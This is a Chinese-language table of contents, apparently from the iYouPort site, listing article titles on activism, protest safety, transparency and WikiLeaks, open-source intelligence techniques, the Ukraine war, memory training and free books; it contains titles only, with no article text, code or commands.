14. DC9 情报眼：细节越多暴露越大 — 侦探挑战游戏 - iyouport

25. 信息行动主义

1. 如何制作自己的meme：6种简单方法 - iyouport
2. 手工数据可视化：让您的调查和行动倡导更吸引人 - iyouport
3. 活动家如何让你们的宣传动员更有力量：信息行动主义指南（1）- 找对人和分析关系 - iyouport
4. 确定变化的杠杆：信息行动主义指南（2）- 战略效用 - iyouport
5. 社交媒体情报技巧帮助您在行动中更具效能： 信息行动主义指南（3）- 工具和注意事项 - iyouport
6. 让您的问题成为人们的兴趣： 信息行动主义指南（4）- 工具和技巧 - iyouport
7. 拉动天平，让力量向您倾斜：信息行动主义指南（5）- 战术图谱 - iyouport
8. 从游戏中获得团队协作能力：信息行动主义指南（6）- 练习战略路径 - iyouport
9. 为行动而计划：信息行动主义（7）- 探索战术思想

- iyouport
10. 挑战当权者的叙事：信息行动主义（8）- 讲述故事是一件武器 - iyouport
11. 信息只是战术，有效行动才是战略目标：信息行动主义（9）- 专注于要解决的问题是成功关键 - iyouport
12. 保存直播视频的四种方法：信息行动主义 – 视频行动（10） - iyouport

26. 行动主义

1. 无法预测运动何时会爆发，但活动家可以描绘通往成功的道路：行动主义（1） - iyouport
2. 活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2） - iyouport
3. 创建强大的运动 - 用战术，而不仅仅是力量：行动主义（3） - iyouport
4. 当活动家陷入虚无和疲惫 …… 寻找解决方案：行动主义（4） - iyouport
5. 如何才能让一个革命战略持续存活下去：行动主义（5） - iyouport
6. 反抗运动如何通过培训来增强力量：行动主义（6） - iyouport
7. 运动如何利用戏剧性抓住公众的想象力：行动主义（7） - iyouport
8. 从柏林墙到今天 — 利用旋风时刻的经验教训：行动主义（8） - iyouport
9. 您天生适合在社会变革中扮演什么角色？：行动主义（9） - iyouport
10. 炫目烟花和持久性发展之辩：行动主义（10）：”运动” 与 “组织” 之间的鸿沟可以弥合吗 - iyouport
11. 是什么导致了抗议运动的失败，如何才能成功：行动主义（11）- 战略智慧是最重要的武器 - iyouport
12. 对镇压武器的抵抗使运动能力增强：行动主义（12） - iyouport
13. 灾难可以是重大变革的机遇，如何做好准备？：行动主义（13） - iyouport
14. 空窗期令人困惑，但有效利用空窗是行动智慧的一

部分：行动主义（14） - iyouport

27. 示威参与者指南

1. 认识警棍，危害能力和防御方法：示威参与者指南（1） - iyouport
2. 脑袋是人最大的弱点 — 了解头盔和使用技巧：示威参与者指南（2） - iyouport
3. 抵制催泪瓦斯和橡皮子弹：示威参与者指南（3） - iyouport
4. 如何处理枪伤：示威参与者指南（4） - iyouport
5. 从雨伞到激光、气球到电动工具：示威参与者指南（5）；战术器具汇总 - iyouport
6. 警用武器常见伤害及基本处理方法：示威参与者指南（6） - iyouport
7. 了解防弹衣：示威参与者指南（8） - iyouport
8. 您需要真正的自己人 - 如何组成一个亲密团队：示威参与者指南（9） - iyouport
9. 了解防暴弹药，以及如何保护自己 ：示威参与者指南（10） - iyouport
10. 让监视摄像头失明：示威参与者指南（11） - iyouport
11. 在街上保持安全：示威参与者指南（12） - iyouport
12. 和媒体说话时如何避免陷阱：示威参与者指南（13） - iyouport

28. 完美隐身（完成）的副本

1. 如何做到完美隐身：直面你的对手 - 6大原则（1） - iyouport
2. 如何做到完美隐身：追踪者的手段和你的弱点（2） - iyouport
3. 如何做到完美隐身：思考方式是战略性的（3） - iyouport
4. 如何做到完美隐身：技术增值部分 - 最简单的分身方法（4） - iyouport
5. 如何做到完美隐身：清扫和清点 - 信息篡改的重要步骤（5） - iyouport
6. 如何做到完美隐身：令人兴奋的心理过招（6） - iyouport

7. 如何做到完美隐身：扫荡危险区域（7） - iyouport

29. 培训师指南

1. 有哪些类型的学习风格：培训师指南（2） - iyouport
2. 让您看起来更专业，给在线培训师的一些提示：培训师指南（3） - iyouport
3. 在线培训和促进人权方面的经验教训：培训师指南（4） - iyouport
4. 您是合适的人选吗：培训师指南（5） - iyouport
5. （16）重要性需要被感知而不是被介绍 - iyouport
6. （49）你的良好建议必需让人们能听进去 - iyouport
7. （55）如何消解冷漠和虚无主义？传授安全知识的可行性方法 - iyouport

30. 乌克兰战争

1. "人民的自由，帝国去死" - 俄罗斯无政府主义者对局势的分析 5⃣ iyouport
2. “俄罗斯世界” 的诞生和消亡 - iyouport
3. "反对所有边界，抵制所有帝国，对抗所有战争" - 东西方冲突中的乌克兰 1⃣ iyouport
4. 一个 “赚大钱的完美机遇” 1⃣ iyouport
5. 乌克兰：超越后苏联时代 - iyouport
6. 俄罗斯： 等待历史车轮的转动 - iyouport
7. 俄罗斯的选择，和这一切灾难的根源：乌克兰系列 5⃣ iyouport
8. 制裁的"作用"是什么？：乌克兰战争 8⃣ 从“伦敦格勒”到北京 - iyouport
9. 多元化主流 2⃣ iyouport
10. 当你处在双面夹击的火力之下 3⃣ iyouport
11. 能源革命也难以摆脱俄罗斯吗？ - iyouport
12. 这一次，不成功便成仁：乌克兰战争 7⃣ iyouport
13. 从北京到世界：乌克兰战争(9) - 一个危机重重的新全球格局 - iyouport

31. 透明度革命

1. "加纳的维基解密"：透明度斗争 - iYouPort
2. 6年，改变了什么？ - iYouPort
3. CIA前雇员被怀疑泄密，唯一“证据”是他使用了Tor浏览器 - iYouPort
4. COVID-19吹哨人的家遭遇武装突袭的惊人案例说明了什么 - iyouport
5. LR 互联网霸主的时间线 —— 他们将互联网视为间谍、破坏和战争的主场 - iyouport
6. LR 用技术作为促进透明度革命的武器：一个成功的尝试 - iyouport
7. Snowden 启示五周年：我们离自由还有多远？ - iYouPort
8. 与中国何其相似，巴尔干解密喜忧参半 - iYouPort
9. 举报人的荣耀 - iYouPort
10. 从做新闻到”作”新闻：维稳机构如何成功废掉说真话的媒体？ - iyouport
11. 他们是如何抓捕说真话的人？灾难和教训 - iyouport
12. 反侦察：情报机构再次监听记者通讯，媒体该如何保证爆料人的安全？ - iYouPort
13. 在斯诺登之前，国家安全局的间谍已经试图从内部煽动变革 - iYouPort
14. 如何从民宿网站挖掘大量重要情报？以及使用这些网站的人应该注意什么 - iyouport
15. 如何揭开隐藏算法的面纱 - iYouPort
16. 如何迎接更多的“巴拿马文件”？ - iYouPort
17. 对透明度革命的大清洗正在开启 - iYouPort
18. 并非巧合 - iYouPort
19. 当吹哨记者遇到黑客… - iYouPort
20. 政府监视我，你可能就是下一个 - iYouPort
21. 政府间谍如何监听并自动识别电话通话中的敏感词? - iyouport
22. 斯诺登曝光6年后，大规模拦截的现状 - iyouport
23. 无知不是幸福 - iYouPort
24. 最佳庇护所和跨国维稳——透明度革命的未来 - iYouPort
25. 杀死透明度革命的机密被透明度革命者曝光 - iYouPort
26. 构建自己的吹哨平台：在树莓派上运行OnionShare匿名投递箱 - iyouport

27. 泄漏文件揭示给警察的 "测谎" 培训 - 基于伪科学 - iYouPort
28. 法国也加入了打击透明度革命的战争 - iYouPort
29. 监督权力的意识需要培养 - iYouPort
30. 真正的阿拉伯之春 (早在小贩自焚之前) - iyouport
31. 真相衰变：当民主病危、变革遥遥无期时，我们应该思考什么？ - iYouPort
32. 继续杀死透明度革命 ——当局如何得知Tor使用者的身份？ - iYouPort
33. 美国黑客团队和阿联酋间谍合作计划攻击报道斯诺登文件的媒体机构 TheIntercept - iyouport
34. 被警方突袭之后... - iYouPort
35. 调查数据：斯诺登改变了多少？终结老大哥有多难？ - iYouPort
36. 超越透明度革命 - iYouPort
37. 透明度革命：你应该知道的技术、经验和教训 - iYouPort
38. 金融武器 - iYouPort
39. 随着对新闻业的战争在全球升级，警察展开突然袭击 - iYouPort

32. Wikileaks

1. "他们射杀儿童，而营救的人却受到了惩罚" - IYP获授权发布 Julian Assange 引渡听证会部分重要内容（上）
2. ⚡致力于帮助当权者抹黑曝光权力阴暗面的人：新闻业正在破坏自己的声誉 - iYouPort
3. ❗伪劣报道和有目的的政治宣传如何扭曲了现实政治 ⏳ - iYouPort
4. DNC 针对 Wikileaks 的诉讼对新闻自由构成严重威胁 🆓⏳ - iYouPort
5. Wikileaks：异议记者遇害案嫌犯之一曾接受 Hacking Team 间谍软件培训; 与沙特王储关系密切
6. 从人格暗杀到对真相的谋杀 ⏳ - iYouPort
7. 俄罗斯正模仿美国棱镜计划建立大规模监视系统 — — Wikileaks 披露（中文版）⏳ - iYouPort
8. 司法部的阴谋论以什么为支点？ - iYouPort
9. 并非巧合 - iYouPort

10. 情报部门如何监视了所有支持 Wikileaks 的人，甚至包括仅仅点击了网页的游客 - iYouPort
11. 精致的诡计 - iYouPort
12. 美国媒体正在逐渐变成 Wikileaks 媒体改革成效已初步显现 ⏳ - iYouPort
13. 间谍公司、被入侵的手机、被泄漏的密码 - IYP获授权发布 Julian Assange 引渡听证会部分重要内容（下） - iYouPort
14. 零日漏洞和 CIA 黑客工具 - iyouport

33. 解码秘密

1. 如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（1）- 哪些方式可以找到您想要的东西？ - iYouPort
2. 如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（2）- 开始收集和处理数据 - iYouPort
3. 如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（3）- 理解数据和可视化 - iYouPort
4. 如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（4）- 确保真实和确保道德的技巧 - iYouPort
5. "信息就是我们的货币"：解码秘密（5）- 公民获取信息权利运动 - iYouPort
6. 观察那些难以观察的东西：解码秘密（6）- 当公民调查遇到艺术 - iYouPort
7. 跟踪金钱的走向，追踪腐败和犯罪 - 解码秘密（7） - iYouPort
8. 推特标签讲述的故事：解码秘密（8） - iYouPort

34. 开源情报-每个人都可用的武器

1. "虚假" 照片如何扭曲视角形成误导 - iYouPort
2. “谷歌地图”是比詹姆斯邦德更棒的间谍 - iYouPort
3. 🎯 超级情报收集工具库：开源验证和调查工具及使用方法 - iYouPort
4. 10个简单技巧 快速验证社交媒体热门视频的真伪 - iYouPort
5. 12个开源情报资源：挖掘电子邮件背后的秘密 - iYouPort

6. 15个免费的卫星图像数据源：甚至可以看到车牌…… - iYouPort
7. 5个简单方法快速检测造假照片 - iYouPort
8. ad.watch - 深入政治宣传的背后：关于要完成这项调查工作您应该知道的事 - iYouPort
9. Facebook 正在令真相挖掘事业陷入困境 - iYouPort
10. LR ＜可视化信息战＞ 第 1 部分：在线媒体上的政治宣传、压迫和攻击 - iyouport
11. LR ＜可视化信息战＞ 第2部分：社交媒体战场、人工政治和逮捕 - iyouport
12. LR 用技术作为促进透明度革命的武器：一个成功的尝试 - iyouport
13. LR 这不是一场竞技表演：关于IYP为什么要采取开源情报 - iyouport
14. TryHackMe：Web开源情报调查练习 - iyouport
15. 一个搜索统治一切：调查用心而非技术 - iYouPort
16. 下载推特视频的五种方法 - iyouport
17. 不要出师未捷！挖掘真相的基本安全操作提示和技巧 - iyouport
18. 不要忽视GitHub作为开源情报调查金矿的潜力 - iYouPort
19. 中国新疆古老的清真寺真的被毁了吗？ - iYouPort
20. 享誉盛名的"五角大楼官员"事实上是一个假人，如何揭露"他"？（第一部分） - iYouPort
21. 介绍一个很有前途的数据抓取工具：开源情报 - iYouPort
22. 从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南 - iYouPort
23. 从跨平台跟踪到心理分析：社交媒体情报收集简易指南 - iyouport
24. 你一直在进行开源情报调查，只是你不知道 - iYouPort
25. 你的全能钥匙扣：作为一名公民调查者的基本脑图 - iYouPort
26. 你的网购已经花了多少钱？ - iYouPort
27. 你能从TikTok（抖音）中挖掘到哪些情报线索？ - iYouPort
28. 使用太阳和阴影进行定位追踪的技巧：小提示 - iyouport

29. 使用谷歌表格进行收据收集和开源调查的方法：以中国的空军基地为例 - iyouport
30. 使用运算符深入挖掘抖音情报和追踪目标人：基本指南 - iyouport
31. 侦探挑战：间接证据和排除法 - iYouPort
32. 侦探挑战小游戏：Quiztime - iYouPort
33. 侦查和反侦查工具：带来更多安全和便捷的10大浏览器扩展 - iYouPort
34. 信息验证、社交媒体情报、追踪热点事件、冠状病毒趋势、隐私安全 …… 21个免费视频教程帮助您提高开源情报技能
35. 信息验证：如何自动反向图片搜索 YouTube 和 Vimeo 的视频？#OSINT 技术 - iYouPort
36. 信息验证技巧：如何确定照片的拍摄时间？ - iYouPort
37. 全球搜罗：用于信息验证的基本地理定位工具 #OSINT 开源调查技术继续 - iYouPort
38. 冠状病毒危机中的开源情报：追踪 “面对面的社交网络” - iyouport
39. 利用开源调查揭露腐败 #OSINT - iYouPort
40. 别让社交媒体的自然模糊阻挡真相 - iYouPort
41. 千头万绪怎么办？介绍一种很重要的信息验证和深入调查方法 - iYouPort
42. 取证专家解释如何快速从目标人浏览历史记录中提取证据：智能手机取证如何使用开源情报 - iyouport
43. 只有一张照片，追踪目标人的长途行踪：案例演示 - iYouPort
44. 合谋的欺骗：虚假的五角大楼官员是如何被发明出来的？（第二部分） - iYouPort
45. 国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？ - iYouPort
46. 在Tor上追踪事件 - iyouport
47. 在人与人之间 …… 如何从信息源的头脑中挖掘想要的情报 - 完整指南 - iyouport
48. 在最难搜索的地方：解剖 Instagram 用户 - iyouport
49. 在社交媒体照片的背景中发现微妙的信息 - - 开源情报攻防技巧 - iyouport
50. 地理定位调查并非只能谷歌：3种很棒的地图和卫

星图像资源 - iYouPort
51. 好奇心作为驱动力 - iYouPort
52. 好玩的间谍挑战 - iYouPort
53. 如何仅仅通过电子邮件挖到你的电话号码：一种新的开源情报追踪方法 - iYouPort
54. 如何从YouTube视频中提取音频、确切的上传时间和缩略图？
55. 如何从民宿网站挖掘大量重要情报？以及使用这些网站的人应该注意什么 - iyouport
56. 如何从社交媒体平台下载视频 而无需使用第三方工具或网站 - iyouport
57. 如何使用 Facebook Messenger 跟踪目标人的位置 - iyouport
58. 如何使用 InVid-WeVerify：数字信息验证的 "瑞士军刀" - iYouPort
59. 如何使用 Maltego 监测推特上的政府信息战 - iyouport
60. 如何使用 SpiderFoot CLI 从网站提取比特币钱包地址和余额 - iYouPort
61. 如何使用Google Earth定位西藏的监狱 - iyouport
62. 如何使用位置欺骗扩展追踪约会网站上的目标私密信息？ - iYouPort
63. 如何使用区块链追踪暗网服务交易 - iYouPort
64. 如何使用数字技巧在线验证中东冲突中的战斗伙伴关系 #开源调查 - iYouPort
65. 如何使用简单的应用程序找到隐藏的军事基地、士兵和秘密特工们的姓名和住址？ - iYouPort
66. 如何使用账户恢复功能追踪目标人？
67. 如何使面部识别技术为公民所用？- 开源情报方法 - iyouport
68. 如何侦查电子邮件和电话号码？开源情报调查工具 - iYouPort
69. 如何像情报分析师一样研究和挖掘数据？不仅仅是工具演示 - iYouPort
70. 如何制作自己的互联网存档 - iyouport
71. 如何可视化推特对话：极简小工具 - iYouPort
72. 如何在Google表格中保存任何你想要的推文？调查者和分析师的工具 - iYouPort
73. 如何在区块链上追踪比特币交易？ - iyouport
74. 如何在地图上轻而易举找到一个 Skype 用户的具

体地理位置？#OSINT - iYouPort
75. 如何在您的 PC 上创建 Android 开源研究设备？#OSINT 安全性工具 - iYouPort
76. 如何在浏览器内执行开源情报调查以识别恶意软件、可疑网站、检查邮件等 - iyouport
77. 如何在社交媒体上查找照片并按日期过滤：开源情报思考方式 - iYouPort
78. 如何在线搜出机密信息：小游戏 - iYouPort
79. 如何存档 telegram 内容 - iyouport
80. 如何对视频进行开源情报调查和信息验证：推荐好用的工具 - iyouport
81. 如何快速从大部分社交网络上抓取视频？深度调查的必备基础工具 - iyouport
82. 如何快速从照片平台挖取重要信息？：开源情报工具推荐 - iYouPort
83. 如何快速创建一个假人？简易版分身术 - 调查人员使用 - iYouPort
84. 如何快速找到一个人的电子邮件地址？：5个简单的方法 - iYouPort
85. 如何快速找到任何国家隐秘的关键联网基础设施
86. 如何快速找到你想要的东西：追踪数字证据的小技巧 - iYouPort
87. 如何快速知道未知来电的真实身份？ - iYouPort
88. 如何找到在 CloudFlare 或 Tor 背后隐藏的真实源 IP？ - iYouPort
89. 如何抓取交互式地理空间数据？ #OSINT - iYouPort
90. 如何拥有上帝的眼睛：监视、追踪、导航、回溯、阴影识别…… 这是您需要了解的一切 - 最大限度挖掘地图的能力 *完整手册*
91. 如何挖掘机器人水军的幕后推手？ - iYouPort
92. 如何搜索和查找某人已删除的推文 - iyouport
93. 如何无需帐户即可匿名查看Instagram帖子 - iyouport
94. 如何构建自定义的用户名侦查工具：开源调查技术 - iYouPort
95. 如何欺骗地理位置以使用 Telegram 的新功能查找任何感兴趣的人 - iyouport
96. 如何理解噪音：让开源威胁情报更简单 - iYouPort
97. 如何自动执行情报搜集？蜘蛛脚入门指南 -

iYouPort
98. 如何让密钥说出秘密？将PGP用于开源情报侦察的方法 - iYouPort
99. 如何讲述故事：开源情报研究初学者的指南 - iyouport
100. 如何跨社交媒体平台追踪目标人？⚠ 警告安全意识 - iyouport
101. 如何通过阴影分析检测社交媒体上被篡改的图像 - iyouport
102. 如何针对汽车进行开源情报调查 - iyouport
103. 如何验证网站的年龄、如何得知照片发布的确切时间？- 开源调查小工具 - iYouPort
104. 如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界 - iyouport
105. 如果调查之初你只有一个电邮地址……可以怎么办？- 开源情报经验 - iYouPort
106. 对特朗普推文的情感分析: Python 🐍 - iYouPort
107. 小信息大故事：利用这些工具搜集散落在互联网上的零碎信息 - iYouPort
108. 尽可能多地了解你的侦查目标，并不让对方发觉的方法 - iYouPort
109. 广泛的数据收集不是目的，能回答问题才是：一个可随身携带的强大工具协助深入调查
110. 开源情报和取证学如何对付 "深度造假"？（有很多视频） - iYouPort
111. 开源调查：收集信息追踪钱的轨迹 #OSINT 基础和一个 Timeline 示例 - iYouPort
112. 开源调查图解新疆"再教育"营 - iYouPort
113. 开源调查工具：情报地图、“黑客搜索”,及其他 #OSINT - iYouPort
114. 开源调查揭示肢解华盛顿邮报专栏作家的凶手 - iyouport
115. 强大能力，并给自己创建一个安全私密的调查环境：简易教程 - iYouPort
116. 当发生大规模死亡事件：开源信息寻找乱葬坑 - iyouport
117. 影响力 - iYouPort
118. 情感分析：如何在社交网络上抓取并分析大众对某些话题的情绪？ - iYouPort
119. 情报眼：细节越多暴露越大 - 侦探挑战游戏 -

iYouPort
120. 想知道老大哥是如何侵犯你的吗？挖掘更深层的内幕 #OSINT - iYouPort
121. 手慢无：如何抢在信息被遮挡、污染或完全消失之前捕获它们？ - iYouPort
122. 把 LinkedIn 作为情报挖掘工具：简易指南 - iYouPort
123. 报告说 "中国在迪拜经营黑监狱"，这是真的吗 - iyouport
124. 挖掘 WhatsApp 情报的技术和技巧 - iYouPort
125. 挖掘抖音中的线索：开源情报调查思路 - iYouPort
126. 挖掘数字图像：安全地自动批量提取位置数据 - iyouport
127. 挖证据的利器：如何从任何 SQLite 数据库中提取电子邮件账户？#OSINT - iYouPort
128. 揭露假记者：一个"深度造假"信息战的案例，提醒您旧有的验证技巧正在过时 - iYouPort
129. 揭露加密货币投资骗局：蜘蛛脚演示自动化开源情报调查 - iYouPort
130. 搜人、照片、视频、位置 …… 大全：新的FB"图谱搜索"替代方案 —— 尤其强调防御 - iYouPort
131. 搜图功能哪家强？图像验证方法的能力对比 - iYouPort
132. 搜远程桌面、摄像头、打印机、家用设备 … 等一切的超级Shodan搜索：恐怖指南 - iYouPort
133. 攻击者如何收集有关目标的情报？他们能了解你多少？ - iyouport
134. 攻防皆可用：GoogleDorking 高级运算符完整列表 - iyouport
135. 政治涂鸦和隐藏的信息：标志、符号和其他视觉线索协助追踪调查的入门指南 - iyouport
136. 数字时代基本功：使用简单的查询语言帮您更好地掌握数据
137. 无处可藏 - iYouPort
138. 无处可藏的数字足迹 - 亦正亦邪元数据 (上篇) 要品尝河豚的美味是需要点方法的 - iYouPort
139. 无需"打入内部"也能挖掘信息：OSINT 方法推介 - 技术、自动化和可视化 - iYouPort
140. 最简单的方法专业搜索谷歌 - iyouport
141. 朝鲜“改开”的新面目：监视设备的兴起及生活状况

的变化（多图） - iYouPort
142. 构建你的自定义OSINT机器（第一部分） - iYouPort
143. 构建你的自定义OSINT机器（第三部分） - iYouPort
144. 构建你的自定义OSINT机器（第二部分） - iYouPort
145. 构建你的自定义OSINT机器（第五部分） - iYouPort
146. 构建你的自定义OSINT机器（第四部分） - iYouPort
147. 检查沙特领事馆监控视频寻找与记者 Khashoggi 被杀事件相关的线索 - iYouPort
148. 浏览历史记录曝光你的内心全景图：开源调查演示 - iyouport
149. 涂鸦的线索：在开源情报调查中利用街头艺术 - iyouport
150. 深挖推特：如何从推文中提取准确的元数据？ - iYouPort
151. 深挖推特：提供技巧、工具和平台 - iYouPort
152. 留下证据：如何存档开源材料？#OSINT - iYouPort
153. 盗墓OSINT - iYouPort
154. 看灰机：开源情报如何追踪天上的东西？ - iYouPort
155. 社交媒体照片也能找到元数据痕迹以实现追踪，这件事怎么做？ - iyouport
156. 社交工程工具用于开源情报调查：0基础初学者指南 - iYouPort
157. 社交网站上进行新闻收集和监视的基本指南 - iyouport
158. 神探应该拥有很棒的直觉：侦探挑战小游戏演示追踪 - iYouPort
159. 科技如何改变情报产业？- 技术和间谍的未来 - iYouPort
160. 突发事件来了，如何进行全面的视频信息采集？#OSINT - iYouPort
161. 第 1 部分：在线媒体上的政治宣传、压迫和攻击 - iYouPort
162. 细节的线索魅力：如何用视频创建全景图？

#OSINT 开源调查小工具 - iYouPort
163. 绕开推特算法噪音、使用基本运算符挖掘推特数据的方法 - iyouport
164. 给真相爱好者的随身小工具：调查工具包简版 - iYouPort
165. 网络水军如何试图影响选举？ - iYouPort
166. 自我人肉 - iyouport
167. 虚假信息游戏：社交网络纷杂的信息环境下如何击败阴谋论？#OSINT - iYouPort
168. 裁剪图像的方式可以改变一切 - iyouport
169. 警察通常会如何寻找一个"失踪的/躲起来"的人？ - iyouport
170. 调查记者如何从社交媒体上挖掘情报？
171. 谷歌搜图不好用怎么办：推荐另外两个更好用的工具 - iYouPort
172. 谷歌甚至可以轻松搜到密码以实现入侵 ……如何做到这件事？ - iyouport
173. 这里是100个最实用的网站：也许您用得到 - iYouPort
174. 追踪人际关系：可视化推文的简易小工具 - iyouport
175. 追踪政府宣传战的内幕：跨平台网络分析的数字取证案例 - iYouPort
176. 追踪网络水军团队：如何识别机器学习制造的假人脸 - 案例 - iyouport
177. 追踪调查的技巧：如何将EXIF数据保留在WhatsApp中 - iyouport
178. 追踪谷歌的政治旋转门：开源调查 - iYouPort
179. 那辆军车正驶向哪里？：侦探挑战时间 - iYouPort
180. 重要的小技巧：创建自己的开源情报调查流程图 - iYouPort
181. 针对暗网的追踪调查：低技术含量解决方案 - iYouPort
182. 针对电话号码的高级信息收集和开源情报框架 - iyouport
183. 间谍机构使用的开源情报监视方法：指南 - iyouport
184. 非物质劳动和数据收集：Facebook 的算法工厂 (第1部) —— 关于数字极权是如何剥削你的
185. 面向大众的 “面部识别” 技术：Yandex - iyouport

186. 高级运算符辅助开源调查：巧用搜索引擎挖掘情报#OSINT - iYouPort
187. 鸟和树木也能帮你追踪定位：任何细节都是线索 - iyouport
188. 黑客如何使用dorks - iyouport
189. 如何从推特挖掘情报（1）：一个流行工具的具体介绍 - iYouPort
190. 新生情报工具（1）：人脸识别身份挖掘、推特分析热点事件、暗网爬虫和调查抖音 - iyouport
191. 新生情报工具（1）：人脸识别身份挖掘、推特分析热点事件、暗网爬虫和调查抖音 - iYouPort
192. 针对人的追踪调查：开源情报思考方法（1）- iYouPort
193. 新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家 - iyouport
194. 新生情报工具（2）：刮刀、打破推特限制、情报资源机器人、和袜子木偶管家 - iYouPort
195. 社交媒体情报和反情报基本工具手册：自我人肉（2）- iYouPort
196. 观察追踪者的思考方式：挖掘推特情报的基础教程（2）- iYouPort
197. 针对社交网络和在线社区的调查：开源情报思考方式（2）- iYouPort
198. 新生情报工具（3）：挖掘推特、搜查加密货币、刮刀和定向追踪 - iyouport
199. 新生情报工具（3）：挖掘推特、搜查加密货币、刮刀和定向追踪 - iYouPort
200. 新生情报工具（4）：战术培训、狩猎推特、瑞士军刀 - 针对特定目标人的侦查利器 - iYouPort
201. 新生情报工具（5）：翻译间谍、头像中的秘密、连锅端利器、和追踪资金往来 - iyouport
202. 新生情报工具（5）：翻译间谍、头像中的秘密、连锅端利器、和追踪资金往来 - iYouPort
203. 新生情报工具（6）：广泛搜集、地理定位、我知道你的猫住在哪 - iyouport
204. 新生情报工具（6）：广泛搜集、地理定位、我知道你的猫住在哪 - iYouPort
205. 新生情报工具（7）：全球搜人、免费手机短信、放大照片不损质量、快速查找相关视频 - iyouport
206. 去模糊化、挖人际关系、自动社交工程攻击、监视

信息战：新生情报工具（8） - iyouport
207. 实时钓鱼、快速提取、游行调查、跨站追踪、便携式瑞士军刀：新生情报工具（9） - iyouport
208. 根据位置搜索telegram群组、在互联网上跟踪人、可视化影响力关系网络、及其他：新生情报工具（10）
209. （12）到底有多少人参加游行？当媒体和警方的数字都是错误的时，如何估算 - iyouport
210. 种子、暗网、区块链、抖音、telegram、数据集…… ：新生情报工具（12） - iyouport
211. 社交媒体情报、追踪电邮电话号码、挖抖音、搜网络摄像头……：新生情报工具（13） - iyouport
212. 挖抖音、泄漏密码、漏洞、人脸识别工具、假身份生成器、事实核查 ……：新生情报工具（14） - iyouport
213. 挖 Telegram 群组、搜脸、搜人、蜂窝塔、网络摄像头、物联网、黑客新闻 ……：新生情报工具（15）
214. 搜电影、书、开放课程、Twitterlists、GPS、挖 Skype、开源情报虚拟机、挖抖音、双语搜索 ……：新生情报工具（16）
215. 反向面部识别、实时开源情报、推特可疑账户、网络摄像头地图、挖坟 ……新生情报工具（17） - iyouport
216. 深挖推特工具超长列表、寻找独立新闻源、物联网 Dorks、泄漏数据、挖 Telegram、机器学习数据集、大牌流媒体资源 …… 新生情报工具（18）
217. 隐私型开源推特前端、追踪热点事件、邦德在哪、冠状病毒和抗体、搜警用无线电、网络摄像头 dorks、暗网搜索 ……：新生情报工具（19）

35. 思考方式

1. 如何通过视频创建全景图以进行地理定位追踪和真伪验证：给公民调查人员的思考方式（1） - iyouport
2. 针对催泪瓦斯袭击抗议者及其他侵犯人权行为的调查框架：给公民调查人员的思考方式（2） - iyouport
3. 在哪里获得卫星图像？以及一个调查案例：思考方

式（3） - iyouport
4. 在数字研究中，事物并不总是像看起来那样：思考方式（4） - iyouport
5. 躲避思维陷阱，竞争性假设分析法：思考方式（5） - iyouport
6. 如何调查武器和军事暴行：思考方式（6） - iyouport

36. 超强记忆力（完成）

1. 手表上故事：通过练习和游戏塑造超强记忆力的方法（1） - iYouPort
2. 操控注意力的小技巧：塑造超强记忆的方法（2） - iYouPort
3. 不是集中而是"分散"注意力才更有效：塑造超强记忆力的方法（3） - iYouPort
4. 如何找回失去的记忆？- 塑造超强记忆力的方法（4） - iYouPort
5. 如何操纵他人遗忘和忽略对你来说最敏感的信息 - 塑造超强记忆力的方法（5） - iYouPort
6. 迷惑他人的把戏和速记法：塑造超强记忆力的方法（6） - iYouPort
7. 使用逻辑快速记忆大量信息：塑造超强记忆力的方法（7） - iYouPort
8. 前瞻性记忆作为行动者的重要能力：塑造超强记忆力（9） - iYouPort
9. 分析而不是收集，才是情报的灵魂：塑造超强记忆力（10） - iYouPort
10. 虚假记忆和记忆操纵：塑造超强记忆力（11） - iYouPort

37. 这里是IYP的口袋知识-小册子和电子书

1. “受众面不是重点问题”：iYouPort 答读者问：关于我们为什么而存在？（上） - iYouPort
2. “情报不是简单的信息”：iYouPort 答读者问：关于我们为什么而存在？（下） - iYouPort
3. “成为你想要在这个世界上看到的改变”：与IYP下午茶 - iyouport
4. IYP 的新10年：我们的2020什么样？ - iYouPort
5. IYP's Telegram频道本年度部分内容更新汇总 -

iYouPort
6. IYP优秀书籍年度汇总2019 - 在线下载免费阅读 - iyouport
7. IYP优秀书籍年度汇总2019 - 在线下载免费阅读 - iYouPort
8. LR 打破 Matrix 的路 ~ 与IYP对话2020：关于中国和美国 - iyouport
9. 在无可言说之中言说中国 - iYouPort
10. 好奇心比聪明更重要：与IYP对话2021 -- 什么是民主？如何战斗？ - iyouport
11. 独立媒体列表：以及关于这个列表，您应该知道的事 - iyouport

38. 游戏和参与

1. “我花了30年的时间重新认识番茄”- IYP 圣诞特辑 — 读者来稿 9 - iYouPort
2. 《灾年之畔》报告读者来稿 - iYouPort
3. 亲爱的福尔摩斯，您的机会来了！ - iYouPort
4. 问卷：让我知道为什么我应该喜欢你 - iYouPort

39. 免费书和纪录片

1. “21世纪的资本”：一部讲述我们如何陷入困境的纪录片 - iyouport
2. “Do Not Resist”：警察军事化的危机 - iyouport
3. “只有两个国家足以压制反叛”：AI, 大数据和反叛的未来 - iyouport
4. "我们压根不想要这些程序"：Jill Lepore 指出技术无法拯救民主的衰败 - iYouPort
5. “我们压根不想要这些程序”：Jill Lepore 指出技术无法拯救民主的衰败 - iyouport
6. “社会信用”监视：英国、中国、美国和日本【Viedo】 - iyouport
7. "这个世界的希望模式"[video] - iYouPort
8. *国家*的危险神话 - iYouPort
9. 650个名校免费在线课程，你马上就可以开始 - iYouPort
10. Books 随着世界资本主义陷入危机，全球警察国家正在崛起 - iyouport
11. IYP 优秀书籍汇总2020（1 ~ 2月版） - 完全免费下

载 - iyouport
12. IYP优秀书籍汇总2020（11～12 月版） - 完全免费下载 - iyouport
13. IYP优秀书籍汇总2020（3～4 □版） - 完全免费下载 - iyouport
14. IYP优秀书籍汇总2020（5～6 □版） - 完全免费下载 - iyouport
15. IYP优秀书籍汇总2020（7～8 □版） - 完全免费下载 - iyouport
16. IYP优秀书籍汇总2020（9～10 月版） - 完全免费下载 - iyouport
17. IYP优秀书籍汇总2021（05～06 月版） - 完全免费下载 - iyouport
